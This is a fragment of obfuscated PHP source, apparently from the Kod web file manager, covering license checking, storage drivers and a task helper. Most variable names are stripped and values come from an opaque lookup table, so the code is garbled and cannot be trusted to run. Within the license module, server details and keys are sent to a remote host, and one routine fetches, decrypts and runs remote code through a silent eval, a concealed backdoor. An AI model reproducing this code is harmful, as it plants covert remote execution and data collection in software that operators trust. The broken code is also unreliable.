a10f8, $[116], $[6]); $ = $[725]; if (KodUser::isRoot() && $this->config[$[117]]) { $[$[101]][$[1
18]] = WEB_ROOT; } return $; } private function tcau55e489b6() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $_SERV
ER[$[24]] == $[119]; $ = $[726]; if (strlen($) < $[695]) { die; } if ($_SERVER[$[24]] == $[120
] && $_GET[$[121]] == $[122]) { $ = !0; } if ($) { $ = array($[108] => $this->tjlz46e76026, $[123] => $th
is->mwhb27d5f33e(), $[124] => Model($[125])->count()); if ($this->tjlz46e76026 != $[109]) { $ = _get($this->ikfg863a1
0f8, $[126]); if ($) { $[$[127]] = $; $[$[128]] = strtotime(_get($this->ikfg863a10f8, $[129]));
$[$[130]] = _get($this->ikfg863a10f8, $[116]); } $ = Model($[33])->get($[131], $[6], !0); if (is_stri
ng($) && substr($, 0, 1) == $[132]) { $ = json_decode_force($); } if (is_array($) && $[$[133]] && strstr
($[$[133]], $[134])) { $ = explode($[134], $[$[133]]); $[$[135]] = $[0]; } } $ = $
this->shwy74269dfb(json_encode($), md5($[136])); $ = $[727]; while ($ < $[695]) { if ($ >= 0) { break; }
$++; } $ = array($[137] => $); $ = $[728]; call_user_func(array($[138], $[139]), $); $
= $[729]; if (strlen($) < $[693]) { die; } } if ($this->tjlz46e76026 == $[109]) { return; } $ = array($[140
], $[141], $[142], $[143], $[144], $[145]); $ = $[730]; while (strlen($) < $[704]) { if (!$
) { break; } $++; } $ = Model($[33])->get(); $ = $[731]; while ($ < $[693]) { if ($ >= 0) { break; }
$++; } $ = array($[146] => $[$[34]], $[147] => $[$[35]], $[148] => $[6]); $
= $[732]; if (strlen($) < $[326]) { return; } foreach ($ as $) { if (!isset($[$]) || !$[$
]) { continue; } $[$] = $[$]; } call_user_func(array($[138], $[139]), $); } private function pfxe18
687997() { $ =& $_SERVER[]; $ =& $_SERVER[]; if ($_SERVER[$[24]] != $[149]) { return; } if (!KodUser::isR
oot()) { die; } $ = $GLOBALS[$[13]]; if (isset($[$[150]])) { $this->dyzsc87ba3d1(); die; } if (isset($[$[15
1]]) && isset($[$[151]]) == $[122]) { $[$[152]] = Model($[33])->get($[153]); } if (!isset($[$
[152]]) || strlen($[$[152]]) != 16) { show_json($[154] . $[$[152]], !1); } $ = Model($[33])->get
($[100]); $ = md5($_SERVER[$[106]] . $); $ = $[733]; while (strlen($) < $[326]) { if (!$) {
break; } $++; } $ = array($[152] => $[$[152]], $[155] => rand_string(16), $[156] => $[136], $
[157] => $[158], $[159] => $_SERVER[$[160]], $[161] => $_SERVER[$[162]], $[163] => $_SERVER[$[
164]], $[105] => $, $[165] => Model($[33])->get($[131])); $ = $[734]; while (strlen($) < $[
695]) { if (!$) { break; } $++; } if (isset($[$[151]]) && isset($[$[151]]) == $[122]) { $[$
[151]] = md5($[$[152]] . $[166] . $[$[155]]); } if ($[$[167]] == $[168]) { $ = $this->shwy
74269dfb($, $[169]); $ = $this->movbf0c46773(json_encode($), $ . $[170], 3); $ = $ . $[171] . $
_SERVER[$[160]]; $ = $this->wxql0bf7c415($[172] . $ . $[173] . $, -1); show_json($, !0); } else { if ($
[$[167]] == $[174]) { $ = substr(md5($[175] . $), 12, 15) . $[176]; $ = $this->hoqy66faaedf(trim($
[$[177]]), $, 2); $ = json_decode($, !0); if (!is_array($) || !is_array($[$[178]]) || $[$
[152]] != !0) { $ = $[179]; $ = $[$[178]] ? $[180] . $[$[178]] : $; show_json($, !1);
} else { $[$[155]] = $[$[178]][$[181]]; } } else { $ = $this->wxql0bf7c415($[182], $, 10); $
 = $[735]; if (strlen($) < $[326]) { return; } } } if (!is_array($) || !is_array($[$[178]]) || $[$
[152]] != !0) { $ = LNG($[183]); $ = $[$[178]] ? $[180] . $[$[178]] : $; show_json($
, !1); } $ = $[$[178]]; $ = $this->atbv31eea042($[$[184]]); if (!$ || $ != $[$[129]])
{ $ = array($[185] => Model($[33])->get($[100]), $[186] => $_SERVER[$[106]], $[187] => this_url(), $
[161] => $_SERVER[$[162]]); $ = $this->vmtg8d149cd5(json_encode($)); $this->wxql0bf7c415($[188] . $); show_jso
n(LNG($[189]), !0); } $ = array($[153] => $[$[190]], $[191] => $[$[192]], $[193] => rand
_string(16), $[108] => $[$[194]]); if ($[$[155]]) { $[$[193]] = $[$[155]]; } $ = subst
r(md5($[$[191]]), 10, 10); $ = $ . $[$[108]] . $[$[193]]; $ = $[736]; $[$[110]] =
strrev(base64_encode($this->shwy74269dfb($, $[195]))); $ = $[737]; $ = rand_string(16); $ = $ . $[$
[108]] . $this->shwy74269dfb(md5($[$[153]]), $); $ = $[738]; if (strlen($) < $[693]) { return; } $
[$[111]] = base64_encode(strrev($this->shwy74269dfb($, $[196]))); if ($[$[197]] && $[$[197]] >=
1) { Model($[33])->setDeep($[198], $[122]); } Model($[33])->set($); $ = md5($_SERVER[$[106]] . strre
v($) . $[$[191]]); $ = strrev(substr($, 10, 16)); $ = $[739]; if (strlen($) < $[704]) { return
; } $ = $this->movbf0c46773(json_encode($), $); $ = array_to_keyvalue(Model($[7])->listData(), $[199]); $
 = $[740]; $ = $[$[200]]; $ = $[741]; if (!$) { return; } $ = array(); $[$] = $; Mod
el($[7])->update($[$[201]], array($[202] => $)); $this->ikfg863a10f8 = $; $ = $[742]; if (!$
) { return; } $this->tjlz46e76026 = $[$[108]]; $this->licenseRegistSuccess(); Cache::set($[203] . md5($ . $[20
4]), $[6]); $ = $[743]; if (!$) { return; } show_json(LNG($[189]), !0); $ = $[744]; } private function li
censeRegistSuccess() { $ =& $_SERVER[]; $ = Model($[33])->get(); if ($[$[63]] != $[122]) { Model($
[33])->set($[63], $[122]); } Action($[205])->initStart(!0); } private function dyzsc87ba3d1() { $ =& $_SERVER[];
$ =& $_SERVER[]; Model($[33])->set(array($[153] => $[6], $[191] => $[6], $[108] => $[
109], $[110] => $[6], $[111] => $[6])); Model($[33])->setDeep($[198], $[206]); $this->ikfg863a10f8
= array(); $ = $[745]; if (!$) { die; } $this->tjlz46e76026 = $[109]; $ = $[746]; while ($ < $[68
8]) { if ($ >= 0) { break; } $++; } } private function npyq089114ae() { $ =& $_SERVER[]; $ =& $_SERVER[]; $_SE
RVER[$[162]] = _get($_SERVER, $[162], APP_HOST); $ = $[747]; $this->tjlz46e76026 = $[109]; $ = $[748]; if
(strlen($) < $[704]) { die; } $ = Model($[33])->get(); $ = $[749]; if (!$) { die; } if ($[$[1
08]] == $[109]) { return; } $ = Model($[33])->get($[100]); $ = $[203] . md5($ . $[204]); $ = Ca
che::get($); if (!is_array($) || !isset($[$[207]]) || time() - $[$[207]] >= 60) { $ = Model($[7])->
loadList(); $ = $[$[200]]; $ = md5($_SERVER[$[106]] . strrev($) . $[$[191]]); $ = strrev(subs
tr($, 10, 16)); $ = $this->hoqy66faaedf($[$[86]][$], $); $ = json_decode($, !0); } if (!is_array($
)) { return $this->dyzsc87ba3d1(); } $ = strtotime($[$[129]]); if (time() >= $) { return $this->dyzsc87ba3d1(); } if (!
isset($[$[207]]) || time() - $[$[207]] > 20) { $[$[207]] = time(); Cache::set($, $); } $this->ikfg86
3a10f8 = $; $this->tjlz46e76026 = $[$[108]]; $ = $[750]; while ($ < $[695]) { if ($ >= 0) { brea
k; } $++; } } private function ruap7e8a0df8() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $GLOBALS[$[13]]; $
 = $[751]; $ = $_SERVER[$[24]]; $ = $[752]; if (!$) { return; } if ($ == $[208] && $this->tjlz46
e76026 == $[109]) { show_json(LNG($[209]), !1, $[210]); } $ = array($[211], $[212]); if (in_array($, $
)) { if ($this->tjlz46e76026 == $[109] && isset($[$[213]])) { show_json(LNG($[209]), !1, $[210]); die; } $ = $
this->mwhb27d5f33e(); if ($ != intval($[214])) { if ($ <= Model($[125])->count()) { show_json(LNG($[215]), !1, $
[210]); die; } } } } private function uxjl481f4656() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = array($[119], $
[120]); if (!KodUser::isRoot() || !isset($_GET[$[216]])) { return; } if (!in_array($_SERVER[$[24]], $)) { return; } $
 = $[217]; $ = $[753]; $ = $this->rkql95ceede5($, $[218]); $ = $[754]; if (strlen($) < $
[704]) { die; } $ = stream_context_create(array($[219] => array($[220] => $[221], $[222] => 3))); $ = $
[755]; $ = @file_get_contents($, !1, $); header($[223]); if ($ && strstr($, $[224])) { echo $; } die;
} public function lfzk5bea654d($) { $ =& $_SERVER[]; $ =& $_SERVER[]; if ($this->tjlz46e76026 == $[225]) { retu
rn $; } $ = $this->versionPluginList(); $ = explode($[226], $this->versionPluginFilter()); $ = array(); $ = $
[756]; if (strlen($) < $[688]) { return; } foreach ($ as $ => $) { if ($ == $[227] && substr($this->t
jlz46e76026, 0, 1) == $[227]) { continue; } if (!in_array($, $)) { $[] = $; } } foreach ($ as $) { unse
t($[$]); $ = $[757]; if (strlen($) < $[695]) { return; } } return $; $ = $[758]; while ($ < $
[695]) { if ($ >= 0) { break; } $++; } } private function versionPluginList() { $ =& $_SERVER[]; return array($
[228] => $[227], $[229] => $[227], $[230] => $[227], $[231] => $[232], $[233] => $[232], $
[234] => $[232], $[235] => $[232], $[236] => $[232], $[237] => $[232], $[238] => $[232], $
[239] => $[232], $[240] => $[232], $[241] => $[232], $[242] => $[232], $[243] => $[232], $
[244] => $[232]); $ = $_SERVER[][759]; if (!$) { return; } } private function versionPluginFilter() { $ =& $_SERVER[
]; if ($this->tjlz46e76026 == $[109]) { return $[6]; } $ = _get($this->ikfg863a10f8, $[245], $[6]); $ = _get($this
->ikfg863a10f8, $[116], $[6]); $ = $_SERVER[][760]; $ = _get($this->ikfg863a10f8, $[246], $[6]); if ($ >
time() && $ > time()) { $ = explode($[226], $); $ = array_keys($this->versionPluginList()); $ = array_merge($
, $); $ = implode($[226], array_filter(array_unique($))); } return $; } private function bpms2251bbad() { $ =&
$_SERVER[]; if ($this->tjlz46e76026 != $[109]) { $GLOBALS[$[86]][$[90]][$[247]] = $[206]; return; } $GLOBALS[
$[86]][$[248]] = $[122]; if (Model($[249])->get($[63]) != $[206]) { Model($[249])->set($[63], $
[206]); } } public function sreo26737152() { return $_SERVER[][250]; } private function vcsib7656530() { $ =& $_SERVER[]; $
 =& $_SERVER[]; $ = array($[251], $[252], $[253]); $ = $[761]; $ = $[254] . md5($[255
]); if ($this->tjlz46e76026 == $[109] || !KodUser::isRoot()) { return; } if (!in_array($_SERVER[$[24]], $)) { return; } if (t
ime() % 4 != 0) { return; } $ = call_user_func(array($[256], $[257]), $); if ($ && time() - $ < intval($[258
])) { return; } call_user_func(array($[256], $[139]), $, time()); $ = $[762]; $ = Model($[33])->get($[10
0]); $ = array($[152] => Model($[33])->get($[153]), $[167] => $this->tjlz46e76026, $[163] => $_SERVER[$[
164]], $[165] => Model($[33])->get($[131]), $[105] => md5($_SERVER[$[106]] . $), $[156] => $[136], $
[159] => $_SERVER[$[160]]); $ = $this->wxql0bf7c415($[259], $); if (!is_array($)) { return; } if ($[$
[152]] && $[$[260]]) { if ($this->atbv31eea042($[$[260]]) == $[$[152]]) { return; } } $this->dyzsc87ba3d
1(); $ = $[763]; if (strlen($) < $[688]) { die; } if ($this->atbv31eea042($[$[260]]) != $[$[152]])
{ $ = array($[185] => $, $[186] => $_SERVER[$[106]], $[187] => this_url(), $[161] => $_SERVER[$[162]])
; $ = $this->vmtg8d149cd5(json_encode($)); $ = $this->wxql0bf7c415($[188] . $); if ($ && is_array($) && i
sset($[$[260]])) { $ = $this->hoqy66faaedf($[$[260]], 2); if ($) { $ = $this->atbv31eea042($); } i
f ($) { try { @eval($); } catch (Exception $) { } } } } } private function wxql0bf7c415($ = '', $ = array(), $
 = 5) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $[261]; $ = $this->rkql95ceede5($, $[262]); $
 = $ . $; $ = $[764]; if ($ && is_array($)) { $ = $ . $[263] . http_build_query($); }
if ($ === -1) { return $; } $ = stream_context_create(array($[219] => array($[222] => $, $[220] => $
[264]), $[265] => array($[266] => !1, $[267] => !1))); $ = $[765]; $ = @file_get_contents($, !1, $)
; return json_decode($, !0); $ = $[766]; if (!$) { return; } } private function mwhb27d5f33e() { $ =& $_SERVER[
]; $ =& $_SERVER[]; $ = array($[268] => $[269], $[270] => $[271], $[272] => $[273], $[274]
=> $[275], $[276] => $[277], $[278] => $[214], $[279] => $[214], $[280] => $[269], $[281]
=> $[271], $[282] => $[273], $[283] => $[284], $[285] => $[275], $[286] => $[287], $[288]
=> $[277], $[289] => $[290], $[291] => $[292], $[293] => $[294]); $ = $[767]; if (!$) { d
ie; } $ = $[$this->tjlz46e76026]; $ = intval($ ? $ : $[269]); $ = _get($this->ikfg863a10f8, $[295]
); $ = $ ? intval($) : 0; $ = $[768]; if (strlen($) < $[326]) { return; } return $ + $; } public funct
ion edfgb4f9da7e($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $this->mwhb27d5f33e(); $ = $[769]; whil
e (strlen($) < $[704]) { if (!$) { break; } $++; } if ($[$[296]] == $[122]) { return; } if ($ >= intva
l($[214])) { return; } $ = Model($[125])->count(); $ = $[770]; if ($ <= $) { return; } $ = Model($
[125])->field($[296])->limit($)->select(); $ = array_to_keyvalue($, $[6], $[296]); if (!in_array($[$[2
96]], $)) { show_json($[297], !1, $[210]); } } public function yhjsb0ded17c() { $ =& $_SERVER[]; $ =& $_SERVER[
]; if (!KodUser::isRoot() || mt_rand(1, 100) > 20) { return; } $ = $[217]; $ = $[771]; if (strlen($) < $[704])
{ die; } $ = $this->rkql95ceede5($, $[218]); $ = $[772]; if (!$) { die; } $ = stream_context_create(arra
y($[219] => array($[220] => $[221], $[222] => 3))); $ = $[773]; $ = @file_get_contents($, !1, $);
echo $[298] . hash_encode($) . $[299]; } private function movbf0c46773($, $, $ = 3) { $ =& $_SERVER[
]; $ =& $_SERVER[]; usleep(1); $ = $[774]; while ($ < $[704]) { if ($ >= 0) { break; } $++; } $
 = trim($); $ = $[775]; if (!$) { return; } $ = mt_rand(0, 5) . $[6]; $ = $[776]; while ($ < $
[326]) { if ($ >= 0) { break; } $++; } $ = rand_string(15); $ = $[777]; if (!$) { die; } $ = $[300]; switch
($) { case $[206]: $ = $this->shwy74269dfb($, strrev($ . $)); $ = $[778]; if (!$) { die; } br
eak; $ = $[779]; case $[122]: $ = $this->shwy74269dfb($, strrev($ . $)); break; $ = $[780]; case $
[301]: $ = $this->shwy74269dfb($, base64_encode($ . $)); break; $ = $[781]; case $[302]: $ =
$this->shwy74269dfb($, md5($ . $)); break; case $[303]: $ = base64_encode($); $ = $[782]; if (strlen
($) < $[695]) { return; } $ = rand(0, 64); $ = $[783]; $ = $[$]; $ = md5($ . md5($
. $) . $); $ = substr($, $ % 8, $ % 8 + 7); $ = $[784]; while (strlen($) < $[326]) { if (!$
) { break; } $++; } $ = $[6]; $ = $[785]; while (strlen($) < $[326]) { if (!$) { break; } $
++; } $ = 0; $ = $[786]; if (!$) { return; } $ = 0; $ = $[787]; if (strlen($) < $[695]) { return;
} $ = 0; for ($ = 0; $ < strlen($); $++) { $ = $ == strlen($) ? 0 : $; $ = ($ +
strpos($, $[$]) + ord($[$++])) % 64; $ .= $[$]; $ = $[788]; while ($ < $[326])
{ if ($ >= 0) { break; } $++; } } $ = hash_encode($ . $); $ = $[789]; while (strlen($) < $[6
95]) { if (!$) { break; } $++; } break; default: $ = $this->shwy74269dfb($, $ . $); $ = $[790]; whil
e (strlen($) < $[704]) { if (!$) { break; } $++; } break; } $ = strrev($ . $ . $); if ($ - 1 > 0)
{ $ = $this->movbf0c46773($, $, $ - 1); } return $; } private function hoqy66faaedf($, $, $ =
3) { $ =& $_SERVER[]; $ =& $_SERVER[]; if (!is_string($) || strlen($) < 10) { return !1; } $ = trim($
); $ = strrev($); $ = $[0]; $ = $[791]; if (strlen($) < $[693]) { die; } $ = substr($
, 1, 15); $ = $[792]; if (strlen($) < $[704]) { die; } $ = substr($, 16); $ = $[793]; $ = $
[300]; switch ($) { case $[206]: $ = $this->rkql95ceede5($, strrev($ . $)); $ = $[794]; break; cas
e $[122]: $ = $this->rkql95ceede5($, strrev($ . $)); $ = $[795]; while (strlen($) < $[704]) { if
(!$) { break; } $++; } break; $ = $[796]; if (!$) { return; } case $[301]: $ = $this->rkql95ceede5($, b
ase64_encode($ . $)); break; $ = $[797]; if (!$) { return; } case $[302]: $ = $this->rkql95ceede5($,
md5($ . $)); $ = $[798]; while (strlen($) < $[326]) { if (!$) { break; } $++; } break; case $[303]: $
 = hash_decode($); $ = $[0]; $ = $[799]; if (!$) { return; } $ = substr($, 1); $ = $[8
00]; if (!$) { return; } $ = strpos($, $); $ = md5($ . md5($ . $) . $); $ = substr($
, $ % 8, $ % 8 + 7); $ = $[6]; $ = 0; $ = 0; $ = 0; for ($ = 0; $ < strlen($); $++) { $
 = $ == strlen($) ? 0 : $; $ = $[801]; if (strlen($) < $[704]) { die; } $ = $++; $ =
$[700]; if (!$) { return; } $ = strpos($, $[$]) - $ - ord($[$]); $ = $[802]; while (s
trlen($) < $[693]) { if (!$) { break; } $++; } while ($ < 0) { $ += 64; $ = $[803]; while (strlen
($) < $[693]) { if (!$) { break; } $++; } } $ .= $[$]; } $ = base64_decode($); $ = $
[804]; while (strlen($) < $[704]) { if (!$) { break; } $++; } break; default: $ = $this->rkql95ceede5($, $
 . $); $ = $[805]; while (strlen($) < $[688]) { if (!$) { break; } $++; } break; } if ($ - 1
> 0) { $ = $this->hoqy66faaedf($, $, $ - 1); } return $; } public function vmtg8d149cd5($) { $ =& $_SE
RVER[]; $ =& $_SERVER[]; $ = $this->pbjr834867c2(); $ = $[806]; while ($ < $[326]) { if ($ >= 0)
{ break; } $++; } $ = $this->pbjr834867c2(); $ = ($ - 1) * ($ - 1); $ = intval(($ + $) / 2); while (1)
{ $ = $; $ = $; $ = $[807]; if (strlen($) < $[704]) { die; } while ($ % $ != 0) { $ = $
; $ = $; $ = $ % $; } if ($ == 1) { break; } else { $++; } } $ = 2; for ($ = 0; $ < $ * 10;
$++) { if (($ * $ + 1) % $ == 0) { $ = intval(($ * $ + 1) / $); break; } } $ = $this->shwy74269dfb($
 * $ . $[6], $[136]); $ = md5($[304] . ($ + $) . $[305] . $ . $[305] . $ . $[306]); $
 = $[808]; $ = $this->shwy74269dfb($, $) . $[307] . $; return $; $ = $[809]; if (strlen($
) < $[326]) { die; } } public function atbv31eea042($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = explo
de($[307], $); $ = $[810]; if (count($) != 2) { return $[6]; } $ = $this->rkql95ceede5($[1] . $
[6], $[136]); $ = $[811]; if (!$) { return $[6]; } $ = intval($); $ = 0; $ = $[812]; if (strl
en($) < $[688]) { return; } $ = 0; for ($ = 3; $ < $; $ += 2) { if ($ % $ != 0) { continue; } $
= $; $ = intval($ / $); break; } $ = ($ - 1) * ($ - 1); $ = $[813]; if (!$) { return; } $
= intval(($ + $) / 2); $ = $[814]; if (!$) { return; } while (1) { $ = $; $ = $; while ($
% $ != 0) { $ = $; $ = $[815]; if (!$) { die; } $ = $; $ = $[815]; if (!$) { die; } $
 = $ % $; $ = $[816]; } if ($ == 1) { break; } else { $++; } } $ = 2; $ = $[817]; while ($ <
$[688]) { if ($ >= 0) { break; } $++; } for ($ = 0; $ < $ * 10; $++) { if (($ * $ + 1) % $ == 0) { $
 = intval(($ * $ + 1) / $); break; } } $ = md5($[304] . ($ + $) . $[305] . $ . $[305] . $
 . $[306]); $ = $this->rkql95ceede5($[0], $); $ = $[818]; if (strlen($) < $[695]) { die; } return
$; } public function pbjr834867c2() { $ =& $_SERVER[]; $ = mt_rand(pow(2, 14), pow(2, 16) - 1); $ = array(); $
 = $[819]; while (strlen($) < $[693]) { if (!$) { break; } $++; } $ = 1; while ($ <= (int) sqrt($
)) { $ = $; while (!0) { $++; $ = $[820]; if (strlen($) < $[326]) { return; } if ($ <= 2) { $ = $
; break; } else { if ($ < 2) { continue; } } $ = !0; for ($ = 2; $ <= sqrt($); $++) { if ($ % $
== 0) { $ = !1; } } if ($) { $ = $; break; } } $[] = $; } $ = 2; for ($ = $; $ > 1; $--)
{ $ = !0; foreach ($ as $) { if ($ % $ == 0) { $ = !1; break; } } if ($) { $ = $; break; } }
return $; } public function jegh08601bc7($, $) { $ =& $_SERVER[]; return call_user_func(array($[8], $[3
08]), $, $); } public function shwy74269dfb($, $) { $ =& $_SERVER[]; return call_user_func(array($[309], $
[310]), $, $); } public function rkql95ceede5($, $) { $ =& $_SERVER[]; return call_user_func(array($[3
09], $[311]), $, $); } } goto A; a: class PathDriverBOS extends PathDriverS3 { public function __construct($) {
parent::__construct($); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public functio
n isBucketCors() { return !0; } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[313]) {
$ = $[314] . substr($, 7); } header($[175] . $); die; } } class PathDriverCOS extends PathDriverBaseS3 { public fu
nction __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[][247]); } public function uploadFormData($
, $ = 3600) { $ =& $_SERVER[]; $ = $[229]; $ = $[263]; $ = $[274]; $ = gmdate($[
299], time() + $); $ = (string) time() . $[74] . (string) (time() + $); $ = array($[275] => $, $[278]
=> array(array($[280] => $), array($[279] => $this->bucket), array($[281], $[282], $[12]), array($
[285] => $), array($[1407] => $), array($[1408] => $this->accessKey), array($[1409] => $))); $ = jso
n_encode($); $ = hash_hmac($[263], $, $this->secret); $ = sha1($); $ = hash_hmac($[263], $, $
); $ = array($[280] => $, $[285] => $, $[293] => base64_encode($), $[1407] => $, $
[1408] => $this->accessKey, $[1410] => $, $[1411] => $, $[208] => $this->getHost()); return $; } public func
tion fileOutImage($, $ = 250) { $ =& $_SERVER[]; if ($this->size($) > 1024 * 1024 * 32) { return $this->fileOutIma
geServer($, $); } $ = $this->link($); $ .= $[1412] . $ . $[1413]; $this->fileOutLink($); } public fun
ction fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[313]) { $ = $[314] . substr($, 7);
} header($[175] . $); die; } } class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __co
nstruct($) { $this->pathParse = $; $this->model = Model($_SERVER[][1414]); } public function getPath($) { return trim($
, $_SERVER[][8]); } public function pathFather($) { $ = $this->parse($); $ = $this->infoSimple($); re
turn $ ? $[$_SERVER[][192]] : !1; } public function pathThis($) { $ = $this->infoSimple($); return $ ? $
[$_SERVER[][32]] : !1; } public function getPathOuter($) { if (!$) { return $; } $ = $this->parse($); ret
urn KodIO::make($[$_SERVER[][483]]); } public function copyFolderFromIO($, $, $, $, $) { $ = $thi
s->model->copyFolderFromIO($, $, $, $, $); return KodIO::make($); } public function isParentOf($, $
) { return $this->model->isParentOf($, $); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { $ =& $_SERV
ER[]; $ = $this->parse($); $ = $[$[483]]; for ($ = 0; $ < count($[$[1415]]); $++) { $ =
$[$[1415]][$]; if ($ == count($[$[1415]]) - 1) { $ = $this->model->mkfile($, $, $, $); brea
k; } $ = $this->model->mkdir($, $, REPEAT_SKIP); } return $this->getPathOuter($); } public function mkdir($, $
 = REPEAT_SKIP) { $ =& $_SERVER[]; $ = $this->parse($); $ = $[$[483]]; for ($ = 0; $ < count(
$[$[1415]]); $++) { $ = $[$[1415]][$]; $ = $this->model->mkdir($, $, $); } return $t
his->getPathOuter($); } public function copyFile($, $, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = $this->par
se($); $ = $this->model->copy($, $[$[483]], $, $[$[87]]); return $ ? $this->getPathOuter($) :
!1; } public function moveFile($, $, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = $this->parse($); $
 = $this->model->move($, $[$[483]], $, $[$[87]]); return $ ? $this->getPathOuter($) : !1; } pub
lic function copy($, $, $ = REPEAT_REPLACE, $ = false) { $ = $this->parse($); $ = $this->model->copy($, $
[$_SERVER[][483]], $, $); return $ ? $this->getPathOuter($) : !1; } public function moveSameAllow() { } public
function move($, $, $ = REPEAT_REPLACE, $ = false) { $ = $this->parse($); $ = $this->model->move($,
$[$_SERVER[][483]], $, $); return $ ? $this->getPathOuter($) : !1; } public function remove($, $ =
true) { return $this->model->remove($, $); } public function rename($, $) { $ = $this->model->rename($, $
); return $ ? $this->getPathOuter($) : $; } public function size($) { $ = $this->infoSimple($); return $
 ? $[$_SERVER[][79]] : 0; } public function infoSimple($) { return $this->model->sourceInfo($); } public function info
($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($, !1, !0); } public functio
n infoWithChildren($) { return $this->infoParse($, !0); } protected function infoParse($, $ = false, $ = false) {
if (!$) { return $this->model->pathInfo($, $); } return $this->model->pathInfoMore($); } public function infoFullSimpl
e($) { $ =& $_SERVER[]; $ = explode($[8], $); $ = implode($[8], array_splice($, 1)); return $this->
model->pathInfoByPath($[0], $); } public function infoFull($) { $ = $this->infoFullSimple($); return is_array($) ?
$this->model->pathInfo($[$_SERVER[][193]]) : !1; } public function hashSimple($) { $ =& $_SERVER[]; $ = $this
->infoWithChildren($); return $[$[170]][$[680]]; } public function hashMd5($) { $ =& $_SERVER[]; $ =
$this->infoWithChildren($); return $[$[170]][$[555]]; } public function exist($) { $ =& $_SERVER[]; $
 = $this->parse($); if (!$[$[87]]) { return $this->isFile($) || $this->isFolder($); } $ = array($[485] =
> $[$[483]], $[32] => $[$[87]]); $ = $this->model->where($)->find(); return $ ? !0 : !1; } public
function isFile($) { $ =& $_SERVER[]; $ = $this->infoSimple($); return $ && $[$[493]] == $[2
28] ? !0 : !1; } public function isFolder($) { $ =& $_SERVER[]; $ = $this->infoSimple($); return $ && $
[$[493]] == $[91] ? !0 : !1; } public function listPath($, $ = false) { $ =& $_SERVER[]; if ($ == $[12
]) { return !1; } $ = array($[485] => $); if ($) { return $this->model->listSource($, -1); } return $this->model->listSour
ce($); } public function has($, $ = false, $ = null) { $ =& $_SERVER[]; $ = $this->infoWithChildren($
); if ($) { return array($[240] => $[$[240]], $[239] => $[$[239]]); } return $ ? $[$[240]
] : $[$[239]]; } public function listAll($) { $ = IO::info($this->pathParse[$_SERVER[][87]]); if (!$) { retur
n array(); } return $this->model->listAll($); } public function getContent($) { return $this->model->getContent($); } public
function setContent($, $ = '') { return $this->model->setContent($, $); } public function fileSubstr($, $, $
) { return $this->model->fileSubstr($, $, $); } public function download($, $ = '') { $ = get_path_father($
); $ = get_path_this($); $ = $this->model->fileInfoGet($); $ = IO::copy($[$_SERVER[][87]], $, !1
, $); return $; } public function setModifyTime($, $ = '') { $ =& $_SERVER[]; if (!$) { return; } $this-
>model->where(array($[499] => $))->save(array($[88] => $)); } public function upload($, $, $ = false, $
 = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = $this->parse($); $ = $this->model->addFile($[$[483]], $,
$[$[87]], $, $); return $this->getPathOuter($); } public function uploadFileByID($, $, $) { $ =&
$_SERVER[]; $ = $this->parse($); $ = $this->model->addFileByFileID($[$[483]], $, $[$[87]], $
); return $this->getPathOuter($); } public function addFileByRemote($, $, $ = array(), $ = '', $) { $ =& $
_SERVER[]; $ = $this->parse($); $ = empty($) ? $[$[87]] : $; $ = $this->model->addFileByRemo
te($[$[483]], $, $, $, $); return $this->getPathOuter($); } public function uploadLink($, $ = 0)
{ $ =& $_SERVER[]; $ = $this->parse($); $ = _get($GLOBALS[$[7]], $[1416]); $ = _get($GLOBALS[$[7]], $
[1417]); $ = Model($[682])->createFileName($[$[87]], $, $); return IO::uploadLink($, $); } public funct
ion fileNameAuto($, $, $ = REPEAT_REPLACE, $ = false) { return $this->model->fileNameAuto($, $, $, $); }
public function fileNameExist($, $) { return $this->model->fileNameExist($, $); } protected function _fileOut($,
$ = false, $ = false, $ = '', $ = false) { $ =& $_SERVER[]; $ = $this->model->sourceInfo($); if ($
[$[493]] == $[91]) { header($[1418]); die; } $ = $this->model->fileInfoGet($); $ = $[$[555]] ? $[
$[555]] : $; $ = isset($GLOBALS[$[182]]) && is_array($GLOBALS[$[182]]) ? $GLOBALS[$[182]][$[32]] : $
[$[32]]; if ($) { return IO::fileOutServer($[$[87]], $, $, $); } IO::fileOut($[$[87]], $, $
, $); } public function fileOut($, $ = false, $ = false, $ = '') { $this->_fileOut($, $, $, $
); } public function fileOutServer($, $ = false, $ = false, $ = '') { $this->_fileOut($, $, $, $
, !0); } protected function _fileOutImage($, $ = 250) { $ =& $_SERVER[]; $ = $this->model->pathInfo($); if ($
[$[493]] == $[91]) { show_json($[1419] . $, !1); } $ = $this->model->fileInfoGet($); $[$[183]] = $[$
[87]]; $GLOBALS[$[182]] = $; IO::fileOutImage($[$[87]], $); } public function fileOutImage($, $ = 250) { $
this->_fileOutImage($, $); } public function fileOutImageServer($, $ = 250) { $this->_fileOutImage($, $); } publ
ic function link($, $ = '') { $ = $this->model->fileInfoGet($); return IO::link($[$_SERVER[][87]], $); } p
rotected function parse($) { $ =& $_SERVER[]; if (strstr($, $[8]) === !1) { return array($[501] => intval($), $
[87] => $[12], $[1415] => array()); } $ = explode($[8], trim($, $[8])); if (count($) < 2) { show_tips(cle
ar_html($) . $[1420]); } return array($[501] => intval($[0]), $[87] => $[1], $[1415] => array_slice($,
1)); } } goto A; a: class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function tim
eLimit($, $ = 5.0) { if (!$) { return; } $ = Cache::get($); if (!$ || timeFloat() - floatVal($) >= $
) { Cache::set($, timeFloat(), $ * 10); return !0; } return !1; } public static function timeLimitCall($, $, $,
$ = 5.0) { $ =& $_SERVER[]; if (!$ || !$) { return; } self::$asyncAdd = !0; $ = $[1870]; $ = Cache::
